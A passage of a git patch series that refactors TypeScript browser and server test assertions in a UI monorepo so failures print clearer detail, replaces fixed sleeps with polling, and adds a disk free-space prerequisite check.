th-20261110200243-f078e2#3 --- .../tests/browser/dialogue-drain-deadline.offline.tsx | 2 +- .../ui-react/tests/browser/dialogue-recovery.offline.tsx | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/packages/ui-react/tests/browser/dialogue-drain-deadline.offline.tsx b/packages/ui-react/tests/browser/dialogue-drain-deadline.offline.tsx index ce9b0cca67..7dd2e189aa 100644 --- a/packages/ui-react/tests/browser/dialogue-drain-deadline.offline.tsx +++ b/packages/ui-react/tests/browser/dialogue-drain-deadline.offline.tsx @@ -125,7 +125,7 @@ test(`${provider}: native indeterminate drain stops the browser without inventin expect(result.rows).toHaveLength(1); expect(s.element.textContent,"UNRESOLVED_TEXT_IS_WITHHELD").not.toContain("The indeterminate sail tail."); await pump({expireWrites:true}); - expect(received.some(f=>f.type==="conversation_closed"),"FAILED_EPOCH_HAS_VISIBLE_TERMINAL").toBe(true); + expect(received.map(f=>f.type),"FAILED_EPOCH_HAS_VISIBLE_TERMINAL").toContain("conversation_closed"); expect(received.filter(f=>f.type==="error"&&f.code==="DIALOGUE_INDETERMINATE"),"SINGLE_WRITE_DEADLINE_HAS_ONE_INDETERMINATE_NOTICE").toHaveLength(1); await expect.poll(()=>s.ui.connection.conversation.state.getState().micOn).toBe(false); expect(s.ui.connection.conversation.state.getState().micOn).toBe(false); diff --git a/packages/ui-react/tests/browser/dialogue-recovery.offline.tsx b/packages/ui-react/tests/browser/dialogue-recovery.offline.tsx index 252e9f8b9c..3def25a19f 100644 --- a/packages/ui-react/tests/browser/dialogue-recovery.offline.tsx +++ b/packages/ui-react/tests/browser/dialogue-recovery.offline.tsx @@ -351,7 +351,7 @@ for (const first of ["gemini", "gpt"] as const) for (const text of expected) expect(seed,"PROVIDER_RECEIVES_COMPLETE_PRIOR_DISCUSSION_AND_FACT").toContain(text); expect(seed.split(distinctiveFact).length-1,"WHOLE_1067_CHARACTER_FACT_ONCE").toBe(1); expect(seed,"TASK_WRAPPER_NEVER_AUTHENTICATED_DIALOGUE").not.toContain(TASK_CARRIER_PREFIX); - expect(providerSent.some(m=>m.toolResponse || m.type==="session.thinking.append" || m.type==="session.commentary.append"),"NO_NATIVE_RESULT_REPLAY").toBe(false); + expect(providerSent.filter(m=>m.toolResponse || m.type==="session.thinking.append" || m.type==="session.commentary.append"),"NO_NATIVE_RESULT_REPLAY").toEqual([]); expect(result.tasks,"OPENING_HISTORY_DOES_NOT_EXECUTE_WORK").toBe(1); // Actual transport receipt, independently from UI restoration; no recall claim. }); @@ -869,7 +869,7 @@ for (const provider of ["gemini", "gpt"] as const) for (const failure of ["quota expect(errors.map(f=>f.code)).toContain(failure==="quota"?"DIALOGUE_STORAGE":"DIALOGUE_PENDING_PRESSURE"); if(failure==="pressure"){ expect(s.element.textContent).toContain("arriving faster than it can be saved"); - expect(errors.some(f=>f.code==="DIALOGUE_STORAGE")).toBe(false); + expect(errors.filter(f=>f.code==="DIALOGUE_STORAGE")).toEqual([]); expect(result.rows).toHaveLength(257); // initial saved observation plus the finite pending queue expect(events.at(-1)!.retention).toBe("unsaved"); }else expect(s.element.textContent).toContain("Conversation history writes failed"); @@ -1049,7 +1049,7 @@ for(const first of ["gemini","gpt"] as const)for(const second of ["gemini","gpt" const blocks=sent.flatMap(m=>second==="gemini"?(m.clientContent?.turns??[]).flatMap((t:any)=>t.parts.map((p:any)=>p.text)):m.type==="session.start"?m.session.input.flatMap((i:any)=>i.content.map((p:any)=>p.text)):[]); const seed=blocks.join("\n"),all=[...typed,...voice];for(const text of all)expect(seed,"FRESH_PROVIDER_RECEIVES_REAL_PREOWNER_TYPED_AND_LATER_VOICE").toContain(text); expect(all.map(text=>seed.indexOf(text)),"PREOWNER_PREFIX_CANNOT_OVERTAKE_LATER_VOICE_ON_THE_SOCKET").toEqual(all.map(text=>seed.indexOf(text)).sort((a,b)=>a-b)); - expect(seed).toContain("ambiguous_order");expect(result.tasks,"HISTORY_MAPPING_DOES_NOT_REDISPATCH_TYPED_WORK").toBe(2);expect(sent.some(m=>m.toolResponse||m.type==="session.commentary.append"||m.type==="session.thinking.append")).toBe(false); + expect(seed).toContain("ambiguous_order");expect(result.tasks,"HISTORY_MAPPING_DOES_NOT_REDISPATCH_TYPED_WORK").toBe(2);expect(sent.filter(m=>m.toolResponse||m.type==="session.commentary.append"||m.type==="session.thinking.append"),"NO_NATIVE_RESULT_REPLAY").toEqual([]); s.ui.connection.conversation.leave();await pump(); }); @@ -1083,6 +1083,6 @@ for(const first of ["gemini","gpt"] as const)for(const second of ["gemini","gpt" await expect.poll(async()=>{await pump();return sent.some(m=>second==="gemini"?!!m.clientContent:m.type==="session.start");}).toBe(true); const seed=JSON.stringify(sent);expect(seed,"NO_RAW_CARRIER_EGRESS_AFTER_ALL_EVICTION_LAYERS").not.toContain(TASK_CARRIER_PREFIX); expect(seed).not.toContain("not authenticated operator instructions or permission decisions");expect(seed).toContain("source_unavailable");expect(seed).toContain("Proven typed question 2.");expect(next.historyCoverage?.state).toBe("partial"); - expect(result.tasks,"HISTORY_NEVER_REDISPATCHES_EVICTED_TASK").toBe(4);expect(sent.some(m=>m.toolResponse||m.type==="session.commentary.append"||m.type==="session.thinking.append")).toBe(false); + expect(result.tasks,"HISTORY_NEVER_REDISPATCHES_EVICTED_TASK").toBe(4);expect(sent.filter(m=>m.toolResponse||m.type==="session.commentary.append"||m.type==="session.thinking.append"),"NO_NATIVE_RESULT_REPLAY").toEqual([]); s.ui.connection.conversation.leave();await pump(); }); From 80efdf0d113714ae71750af28ec770721f569fd5 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:25:57 +0100 Subject: [PATCH 135/252] test(ui-react): discovery depth cap prints the deepest request Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110200243-f078e2#4 --- packages/ui-react/tests/browser/discovery-expansion.layout.tsx | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-react/tests/browser/discovery-expansion.layout.tsx b/packages/ui-react/tests/browser/discovery-expansion.layout.tsx index 1391baf28e..9e65791c32 100644 --- a/packages/ui-react/tests/browser/discovery-expansion.layout.tsx +++ b/packages/ui-react/tests/browser/discovery-expansion.layout.tsx @@ -261,7 +261,7 @@ for (const width of [320, 1440]) test(`${width}: depth-eight native action revea await expect.poll(() => ui!.stores.graph.getState().discoveryExpansion.notice?.text).toBe("1 note added · Layout updated"); await settled(); expect(ui!.stores.graph.getState().subgraph!.nodes.find(n => n.id === 17)?.distance).toBe(8); expect(ui!.stores.graph.getState().subgraph!.nodes.some(n => n.id === 18)).toBe(false); - expect(requests.every(depth => depth <= 8)).toBe(true); + expect(Math.max(...requests), "NEVER_REQUESTS_BEYOND_EIGHT_HOPS").toBe(8); await expect.element(page.getByText("No more notes within 8 hops of the root", { exact: true })).toBeVisible(); await page.getByRole("button", { name: "Reset expanded, 2 notes expanded", exact: true }).click(); await settled(); expect(ui!.stores.graph.getState().selectedId).toBeNull(); From 3bf03b2378587f530490e41e06d7a008b020c3c2 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:25:58 +0100 Subject: [PATCH 136/252] test(ui-react): draft branch image test waits for the stored image, not 300 ms Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110200243-f078e2#6 --- .../tests/browser/draft-branches.offline.tsx | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/packages/ui-react/tests/browser/draft-branches.offline.tsx b/packages/ui-react/tests/browser/draft-branches.offline.tsx index 6de3d0c215..f841d31540 100644 --- a/packages/ui-react/tests/browser/draft-branches.offline.tsx +++ b/packages/ui-react/tests/browser/draft-branches.offline.tsx @@ -782,13 +782,14 @@ test("review: a decoding image follows its branch even after opening the origina const branch = (await view(b)).id; await b.call("openOther"); await b.call("releaseImage"); - await new Promise((resolve) => setTimeout(resolve, 300)); - await b.call("save"); - const kept = await rows(b); - expect( - kept.find((r) => r.value.draftId === branch)?.value.attachments.length, - "the image decoded for the stale writer lands in its retained branch" - ).toBe(incomingImages.length + 1); + // The scene has no decode-complete signal: save until the decoded image is + // stored, instead of guessing how long the decode takes. + let kept: Row[] = []; + await expect.poll(async () => { + await b.call("save"); + kept = await rows(b); + return kept.find((r) => r.value.draftId === branch)?.value.attachments.length; + }, { message: "the image decoded for the stale writer lands in its retained branch" }).toBe(incomingImages.length + 1); expect( kept.find((r) => r.value.draftId === original)?.value.attachments, "the committed original keeps its empty image set" From eb9b16b74c6eed500e26d27201f086751aae40ed Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:25:59 +0100 Subject: [PATCH 137/252] test(ui-react): durable actions count check prints the text Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110200243-f078e2#8 --- packages/ui-react/tests/browser/durable-actions.layout.tsx | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-react/tests/browser/durable-actions.layout.tsx b/packages/ui-react/tests/browser/durable-actions.layout.tsx index 7c35280fa3..c9023b7818 100644 --- a/packages/ui-react/tests/browser/durable-actions.layout.tsx +++ b/packages/ui-react/tests/browser/durable-actions.layout.tsx @@ -643,7 +643,7 @@ describe("durable Actions", () => { const runs = { "run-pruned": { rollup: { runId: "run-pruned", origin: "autonomous", outcome: "error", startedAt: T0 - DAY, durationMs: 1000, costUsd: null, effectiveCostUsd: null, failureReason: "fetch failed", name: "triage", jobName: null }, detailPruned: true } }; const d = await device("laptop", { width: 1280, runs }); // FilterRow still has three lenses; the rail and bar gain no item. - expect(/needs you \d+/.test(d.host.textContent!)).toBe(true); + expect(d.host.textContent).toMatch(/needs you \d+/); expect(d.host.querySelector("[data-rail]")!.textContent).not.toContain("Queue"); await click(button(d.host, /^Open the queue, 3 items$/)); expect(d.host.querySelector("[data-queue-view]")).not.toBeNull(); From 7b8509183ae15d56df0f7891010545d551a4469a Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:26:00 +0100 Subject: [PATCH 138/252] test(ui-react): expired scratch contrast check requires the labels Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110200243-f078e2#10 --- .../ui-react/tests/browser/expired-scratch-links.layout.tsx | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/packages/ui-react/tests/browser/expired-scratch-links.layout.tsx b/packages/ui-react/tests/browser/expired-scratch-links.layout.tsx index c9cd075e07..fa3839f21a 100644 --- a/packages/ui-react/tests/browser/expired-scratch-links.layout.tsx +++ b/packages/ui-react/tests/browser/expired-scratch-links.layout.tsx @@ -81,7 +81,9 @@ for (const width of [320, 1280]) { expect(kept.map((a) => a.getAttribute("href"))).toEqual(["#/files/notes/raft-reference.md"]); expect(host.querySelector("img")).toBeNull(); - for (const label of host.querySelectorAll(".brain-expired-label")) { + const labels = [...host.querySelectorAll(".brain-expired-label")]; + expect(labels, "EXPIRED_LABELS_RENDERED").toHaveLength(3); + for (const label of labels) { const fg = parse(getComputedStyle(label).color), bg = parse(getComputedStyle(host).backgroundColor); expect(contrast(fg.rgb, bg.rgb), `${theme} expired label contrast`).toBeGreaterThanOrEqual(4.5); } From cfcb104c2ca661bc2a8a78f3aa87e2c06ca671cf Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:26:01 +0100 Subject: [PATCH 139/252] test(ui-react): file loading awaits the lazy viewer and tree before polling Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110200243-f078e2#11 --- packages/ui-react/tests/browser/file-loading.layout.tsx | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/packages/ui-react/tests/browser/file-loading.layout.tsx b/packages/ui-react/tests/browser/file-loading.layout.tsx index 40e1d62cd7..e561bbddae 100644 --- a/packages/ui-react/tests/browser/file-loading.layout.tsx +++ b/packages/ui-react/tests/browser/file-loading.layout.tsx @@ -48,6 +48,11 @@ for (const theme of ["light", "dark"] as const) for (const width of [320, 1280]) root.stores.file.setState({ currentPath: "voyage/raft.md", contentLoading: true, treeExpanded: true }); renderer = createRoot(host); flushSync(() => renderer!.render( {}} />)); + // #3285: the panel's viewer and tree are lazy chunks. Their real imports + // have started; a cold Vite transform must finish before the unchanged + // polls get their 1000 ms budget. + await import("../../src/components/files/file-viewer.js"); + await import("../../src/components/files/file-tree.js"); await expect.poll(() => document.querySelector('[aria-label="Loading file"]')).not.toBeNull(); await expect.poll(() => document.querySelector('[aria-label="Loading files"]')).not.toBeNull(); const result = await axe.run(document.body, { runOnly: { type: "tag", values: ["wcag2a", "wcag2aa", "wcag21aa"] } }); From 5c11d04efba2a0a5bfd9b613ece33a1a744a40e4 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:26:02 +0100 Subject: [PATCH 140/252] test(ui-react): graph label exclusions print the painted set Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110200243-f078e2#12 --- packages/ui-react/tests/browser/graph-labels.layout.tsx | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/packages/ui-react/tests/browser/graph-labels.layout.tsx b/packages/ui-react/tests/browser/graph-labels.layout.tsx index cd416d66c4..08f417cd89 100644 --- a/packages/ui-react/tests/browser/graph-labels.layout.tsx +++ b/packages/ui-react/tests/browser/graph-labels.layout.tsx @@ -86,8 +86,8 @@ for (const width of [390, 900]) for (const theme of ["light", "dark"] as const) if (stroke.mock.calls.length > before) painted.add(node.key); }); await expect.poll(() => painted.size).toBeGreaterThan(4); - expect(painted.has("2")).toBe(false); - expect(painted.has("3")).toBe(false); + expect([...painted]).not.toContain("2"); + expect([...painted]).not.toContain("3"); render(1, null); await expect.poll(() => [...painted].sort()).toEqual(["1", "2", "3"]); @@ -100,7 +100,7 @@ for (const width of [390, 900]) for (const theme of ["light", "dark"] as const) render(null, null); await expect.poll(() => painted.size).toBeGreaterThan(4); - expect(painted.has("2")).toBe(false); - expect(painted.has("3")).toBe(false); + expect([...painted]).not.toContain("2"); + expect([...painted]).not.toContain("3"); }); } From 3b18a1d3ed77c41186c82b0176c8278740a085d7 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:26:42 +0100 Subject: [PATCH 141/252] test(core): compute refusal and state checks list what they reject Test-Health: th-20261110163736-83b662#37 --- packages/core/tests/compute-refusals.test.ts | 2 +- packages/core/tests/compute-state.test.ts | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/packages/core/tests/compute-refusals.test.ts b/packages/core/tests/compute-refusals.test.ts index 091970b480..7d25cf4d57 100644 --- a/packages/core/tests/compute-refusals.test.ts +++ b/packages/core/tests/compute-refusals.test.ts @@ -182,7 +182,7 @@ describe("source swapped after admission", () => { expect(run.ok && [run.job.state, run.job.terminal?.reason, run.job.cleanup.state]).toEqual([ "failed", expect.stringContaining("notes/route.md changed after admission"), "released", ]); - expect([...memory.sandboxes.values()].every((s) => s.files.size === 0)).toBe(true); + expect([...memory.sandboxes.values()].map((s) => s.files.size).filter((n) => n > 0)).toEqual([]); }); } }); diff --git a/packages/core/tests/compute-state.test.ts b/packages/core/tests/compute-state.test.ts index fbea1cd3e3..4543935857 100644 --- a/packages/core/tests/compute-state.test.ts +++ b/packages/core/tests/compute-state.test.ts @@ -128,7 +128,7 @@ describe("records", () => { const run = await svc.run(HOSTED, { instance: "ithaca", argv: ["printenv"], env: { VOYAGE: "home" }, source: ["notes/raft.md"] }); if (!run.ok) throw new Error(run.code); await svc.status(HOSTED, run.job.id); - expect(memory.calls.every((c) => c.secret === "sk-ithaca-the-loom-unravels")).toBe(true); + expect(memory.calls.filter((c) => c.secret !== "sk-ithaca-the-loom-unravels").map((c) => c.method)).toEqual([]); expect(filesContaining(box.state, "sk-ithaca-the-loom-unravels")).toEqual([]); }); }); From 39fe15463e748def9931c055015e1bff7d8efb40 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:28:40 +0100 Subject: [PATCH 142/252] test(ui-react): saved-transcription restores the theme it sets and prints radio states Test-Health: th-20261110195347-f9b8db#1 --- .../ui-react/tests/browser/saved-transcription.offline.tsx | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/packages/ui-react/tests/browser/saved-transcription.offline.tsx b/packages/ui-react/tests/browser/saved-transcription.offline.tsx index da3539086d..6a690bd916 100644 --- a/packages/ui-react/tests/browser/saved-transcription.offline.tsx +++ b/packages/ui-react/tests/browser/saved-transcription.offline.tsx @@ -100,6 +100,8 @@ async function confirm(c: ReturnType, retry = false) { expect(c.host.textContent).toContain("to your server for transcription? Your server sends it to Deepgram."); } for (const theme of ["dark", "light"]) for (const width of [320, 1280]) test(`consent, progress, durable review and account boundary at ${width}px ${theme}`, async ctx => { + const previousTheme = document.documentElement.dataset.theme; + ctx.onTestFinished(() => { if (previousTheme === undefined) delete document.documentElement.dataset.theme; else document.documentElement.dataset.theme = previousTheme; }); await commands.formViewport(width, 900); await page.viewport(width, 900); document.documentElement.dataset.theme = theme; const c = fixture(ctx); const row = await c.seed(); c.mount(); await expand(c); await confirm(c); await new Promise(resolve => setTimeout(resolve, 100)); @@ -321,7 +323,7 @@ for (const width of [320, 1280]) test(`a dictation service without saved audio o expect(group.textContent).toContain("Beta Live can't transcribe saved recordings."); const radios = [...group.querySelectorAll('input[type="radio"]')]; expect(radios.map(r => r.closest("label")!.textContent)).toEqual(["Alpha Transcribe", "Gamma Archive"]); - expect(radios.some(r => r.checked), "nothing is chosen for the reader among several").toBe(false); + expect(radios.map(r => r.checked), "nothing is chosen for the reader among several").toEqual([false, false]); for (const radio of radios) expect(radio.closest("label")!.getBoundingClientRect().height, "44px choice targets").toBeGreaterThanOrEqual(44); expect(button(c.host, "Upload and transcribe").getAttribute("aria-disabled") ?? String((button(c.host, "Upload and transcribe") as HTMLButtonElement).disabled), "no upload until a service is chosen").toMatch(/true/); await tap(radios[1]!); From 3f93020a61a3944fff28551fad16a7f2f34bcffd Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:28:42 +0100 Subject: [PATCH 143/252] test(core): the empty-chunk enrichment check prints the document half Test-Health: th-20261110163736-83b662#39 --- packages/core/tests/enrichment.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/core/tests/enrichment.test.ts b/packages/core/tests/enrichment.test.ts index a1fff33142..f4a2e5281f 100644 --- a/packages/core/tests/enrichment.test.ts +++ b/packages/core/tests/enrichment.test.ts @@ -233,7 +233,7 @@ describe("locating the chunk, the outline's overflow, and clipping (#427 review) expect(locateChunk(doc, "", "(intro)")).toBe(-1); expect(locateChunk("", "text", "Heading")).toBe(-1); const document = documentForChunk(doc, "", "(intro)", ""); - expect(document.startsWith(`Excerpt around the chunk:\n${doc.slice(0, 100)}`)).toBe(true); + expect(document).toStartWith(`Excerpt around the chunk:\n${doc.slice(0, 100)}`); expect(document.length).toBeLessThanOrEqual(CONTEXT_DOCUMENT_BUDGET); expect(documentForChunk("", "", "(intro)")).toBe(""); }); From 75aeb3cce69c56987a0ca869433f236df7a3db99 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:29:06 +0100 Subject: [PATCH 144/252] test(ui-server): name the turn free-space prerequisite in the subscription suites and wait for the Apify turn to settle Refs #2551 Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110174252-07efe9#6 --- packages/ui-server/tests/subscription-login.test.ts | 5 ++++- packages/ui-server/tests/subscription-status.test.ts | 3 +++ packages/ui-server/tests/ws-apify.test.ts | 5 ++--- 3 files changed, 9 insertions(+), 4 deletions(-) diff --git a/packages/ui-server/tests/subscription-login.test.ts b/packages/ui-server/tests/subscription-login.test.ts index 06e673bb16..3c184e22c5 100644 --- a/packages/ui-server/tests/subscription-login.test.ts +++ b/packages/ui-server/tests/subscription-login.test.ts @@ -21,6 +21,7 @@ import { resolveServerConfig } from "../src/config/env"; import { resolveAmbientPrincipal } from "../src/db/principals"; import type { WSContext } from "../src/ws/clients"; import { createWsHandlers } from "../src/ws/connection"; +import { requireTurnFreeSpace } from "./helpers/turn-free-space.js"; // Obviously fake: the shape Claude Code accepts, the bytes of no real token. const FIRST_TOKEN = `sk-ant-oat01-${"a".repeat(95)}AA`; @@ -108,6 +109,8 @@ async function deploy(token: string, mintedAt: string): Promise { /** Send one turn and return every frame the client got. */ async function sendTurn(app: BrainUiApp): Promise>> { + // A real turn needs the scope free-space floor; say so instead of failing on it (#2551). + requireTurnFreeSpace(app.config.brainPath); const sent: string[] = []; const ws = { send: (data: string) => sent.push(data), close: () => {}, readyState: 1 } as unknown as WSContext; const principal = resolveAmbientPrincipal(app.db, "none", "No authentication", "No authentication"); @@ -179,6 +182,6 @@ describe("a rejected subscription token", () => { } expect(seen.length).toBeGreaterThan(0); expect(seen.filter((request) => request.xApiKey !== null)).toEqual([]); - expect(seen.every((request) => request.authorization === `Bearer ${FIRST_TOKEN}`)).toBe(true); + expect(new Set(seen.map((request) => request.authorization))).toEqual(new Set([`Bearer ${FIRST_TOKEN}`])); }, 120_000); }); diff --git a/packages/ui-server/tests/subscription-status.test.ts b/packages/ui-server/tests/subscription-status.test.ts index f79afa2793..3344fad72f 100644 --- a/packages/ui-server/tests/subscription-status.test.ts +++ b/packages/ui-server/tests/subscription-status.test.ts @@ -39,6 +39,7 @@ import { createRecordingObservability, type RecordingObservability } from "../sr import type { WSContext } from "../src/ws/clients"; import { createWsHandlers } from "../src/ws/connection"; import { makeFakeBackend } from "./helpers/fake-backend"; +import { requireTurnFreeSpace } from "./helpers/turn-free-space.js"; const FAKE_TOKEN = `sk-ant-oat01-${"f".repeat(95)}AA`; const DAY = 24 * 60 * 60 * 1000; @@ -252,6 +253,8 @@ async function boot( } async function turn(app: BrainUiApp): Promise { + // A real turn needs the scope free-space floor; say so instead of failing on it (#2551). + requireTurnFreeSpace(app.config.brainPath); const sent: string[] = []; const ws = { send: (data: string) => sent.push(data), close: () => {}, readyState: 1 } as unknown as WSContext; // The principal an AUTH_MODE=none app gives every connection. diff --git a/packages/ui-server/tests/ws-apify.test.ts b/packages/ui-server/tests/ws-apify.test.ts index 13a021afde..1982079316 100644 --- a/packages/ui-server/tests/ws-apify.test.ts +++ b/packages/ui-server/tests/ws-apify.test.ts @@ -71,8 +71,7 @@ async function hostedTurn(backendId: "pi" | "claude", policy: Record until) throw new Error(`turn did not finish: ${sent.join("\n")}`); await Bun.sleep(10); } - await Bun.sleep(50); + while (!finished || app.isTurnActive()) { if (Date.now() > until) throw new Error(`turn did not finish: ${sent.join("\n")}`); await Bun.sleep(10); } if (scriptError) throw scriptError; const taint = app.db.query("SELECT session_id, turn_id, payload FROM governance_events WHERE kind = 'taint'").all() as Array<{ session_id: string | null; turn_id: string | null; payload: string }>; return { root, fake, sent, taint, ledger: resolve(root, "ui.db.apify-ledger.sqlite") }; @@ -121,7 +120,7 @@ test("a pi turn reaches the hosted operations with its own context, ledger and t expect(envelopes.map(envelope => envelope.ok ? "ok" : envelope.error.code), "APIFY_APP_WIRING_SEQUENCE").toEqual(["ok", "ok", "ok", "ok"]); expect((envelopes[1] as { data: { eligibility: { executable: boolean } } }).data.eligibility.executable, "APIFY_NO_PROFILE_GATE").toBe(true); expect(outcome.fake.starts(), "APIFY_APP_APPROVED_ACTOR_STARTED").toBe(1); - expect(outcome.sent.some(text => { const frame = JSON.parse(text); return frame.type === "tool_approval_request" && frame.kind === "actor"; }), "APIFY_ACTOR_APPROVAL_CARD").toBe(true); + expect(outcome.sent.map(text => JSON.parse(text)).filter(frame => frame.type === "tool_approval_request").map(frame => frame.kind), "APIFY_ACTOR_APPROVAL_CARD").toContain("actor"); // Discovery and inspection each delivered a separate untrusted page. expect(outcome.taint.map(row => ({ session: row.session_id, source: JSON.parse(row.payload).source })), "APIFY_TAINTS_SESSION") .toEqual([{ session: "sess-ithaca-apify", source: "apify_result" }, { session: "sess-ithaca-apify", source: "apify_result" }]); From ee42d4272bb0418fce054126a591dfaf6471b29a Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:29:15 +0100 Subject: [PATCH 145/252] test(ui-server): name the turn free-space prerequisite in the scope-cap adapter suite Refs #2551 Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110174252-07efe9#41 --- packages/ui-server/tests/ws-scope-caps.test.ts | 3 +++ 1 file changed, 3 insertions(+) diff --git a/packages/ui-server/tests/ws-scope-caps.test.ts b/packages/ui-server/tests/ws-scope-caps.test.ts index 09e37c6a79..bdd2a734fe 100644 --- a/packages/ui-server/tests/ws-scope-caps.test.ts +++ b/packages/ui-server/tests/ws-scope-caps.test.ts @@ -17,6 +17,7 @@ import { createWsHandlers } from "../src/ws/connection.js"; import { createPrincipal } from "../src/db/principals.js"; import { createFixtureBrain } from "../../../scripts/captures/core-fixture.js"; import { scopePiProgress } from "./helpers/scope-pi-progress.js"; +import { requireTurnFreeSpace } from "./helpers/turn-free-space.js"; import type { ServerMessage, ScopeCapReceipt } from "@schlessera/brain-ui-sdk/protocol"; async function wait(check: () => boolean, detail: () => unknown) { const end = Date.now() + 8000; while (!check()) { if (Date.now() > end) throw Error(JSON.stringify(detail())); await Bun.sleep(10); } } @@ -97,6 +98,8 @@ for (const { adapter, voice, overshoot } of cases) test(`${adapter}: ${overshoot }); } try { + // The real scope monitor enforces a free-space floor; name it instead of reading it as the cap under test (#2551). + requireTurnFreeSpace(brain); app = await createApp({ config: resolveServerConfig({ BRAIN_PATH: brain, DB_PATH: join(root, "ui.db"), HOST: "127.0.0.1", AUTH_MODE: "none", NODE_ENV: "test", BRAIN_UI_MODEL_DISCOVERY: "0", BRAIN_UI_PRICING_DISCOVERY: "0" }), registry: createStaticBackendRegistry([backend], backend.id), observability: createRecordingObservability() }); const principal = createPrincipal(app.db, { authMethod: "password", label: "Athena scope", ttlSeconds: 60 }); From e860b3533ff76676129b6e7040dcd216a15b6c27 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:30:08 +0100 Subject: [PATCH 146/252] test(ui-react): the late recording-timer test observes its re-arm Test-Health: th-20261110201439-289b16#0 --- .../ui-react/tests/browser/recording-limits.offline.tsx | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/packages/ui-react/tests/browser/recording-limits.offline.tsx b/packages/ui-react/tests/browser/recording-limits.offline.tsx index e47a6ad41b..81651396dd 100644 --- a/packages/ui-react/tests/browser/recording-limits.offline.tsx +++ b/packages/ui-react/tests/browser/recording-limits.offline.tsx @@ -275,10 +275,11 @@ test(`late ${timerKind} below backstop re-arms from short saved audio`, async (c Object.defineProperty(performance, "now", { configurable: true, value: () => clock }); c.cleanup.push(() => { if (descriptor) Object.defineProperty(performance, "now", descriptor); else delete (performance as { now?: unknown }).now; }); const callbacks = new Map void>(); + const armed: number[] = []; const timeout = globalThis.setTimeout; const timeoutDescriptor = Object.getOwnPropertyDescriptor(globalThis, "setTimeout")!; const timer = vi.spyOn(globalThis, "setTimeout").mockImplementation((handler, ms, ...args) => { - if (typeof handler === "function") callbacks.set(ms!, () => handler(...args)); + if (typeof handler === "function") { callbacks.set(ms!, () => handler(...args)); armed.push(ms!); } return timeout(handler, ms, ...args); }); c.cleanup.push(() => { timer.mockRestore(); Object.defineProperty(globalThis, "setTimeout", timeoutDescriptor); }); @@ -289,7 +290,10 @@ test(`late ${timerKind} below backstop re-arms from short saved audio`, async (c await sink.chunk({ index: 0, startMs: 0, endMs: 10_000, data: new Blob(["a"]) }); clock = 650_000; const wallCallback = callbacks.get(660_000); + const armedBefore = armed.length; callbacks.get(timerKind === "warning" ? 530_000 : 589_750)!(); + // Ten seconds of saved audio leaves 530 s to the warning and 589.75 s to the limit. + expect(armed.slice(armedBefore).filter(ms => ms === 530_000 || ms === 589_750), `late ${timerKind} re-arms both audio timers from the saved audio`).toEqual([530_000, 589_750]); expect(c.events.filter(e => e.kind === "warning"), "late warning does not mistake elapsed wall for audio").toEqual([]); expect(stop, "late limit does not save ten seconds as ten minutes").not.toHaveBeenCalled(); expect(c.events.filter(e => e.kind === "stopped")).toEqual([]); From 4426a5b1e6ab87fe0306da8aed8ec4c9147d65fd Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:31:41 +0100 Subject: [PATCH 147/252] test(ui-server): settle journal and host-launch rejections and assert the spawn error and changed stamps Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#9 --- packages/ui-server/tests/host-fallback-gates.test.ts | 3 ++- .../ui-server/tests/journal-index-metadata-only.test.ts | 9 ++++++--- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/packages/ui-server/tests/host-fallback-gates.test.ts b/packages/ui-server/tests/host-fallback-gates.test.ts index e2606b934e..34cbcc9ef9 100644 --- a/packages/ui-server/tests/host-fallback-gates.test.ts +++ b/packages/ui-server/tests/host-fallback-gates.test.ts @@ -233,7 +233,8 @@ for (const method of ["run", "launch"] as const) { const after = await f.gate.acquire("exclusive", "after cancelled host"); f.holds.push(after); expect(f.gate.holders()).toHaveLength(1); after.release(); const failed = f.boundary()[method]({ ...f.command("shared"), signal: undefined, argv: [join(f.root, "missing-program")] }); - await expect(failed).rejects.toBeDefined(); + const failure = await failed.then(() => undefined, error => error); + expect(failure, "FAILED_HOST_LAUNCH_SURFACES_ITS_SPAWN_ERROR").toMatchObject({ code: "ENOENT" }); expect(f.gate.holders()).toEqual([]); } finally { await f.close(); } }); diff --git a/packages/ui-server/tests/journal-index-metadata-only.test.ts b/packages/ui-server/tests/journal-index-metadata-only.test.ts index a0e61a8b9c..0621e99957 100644 --- 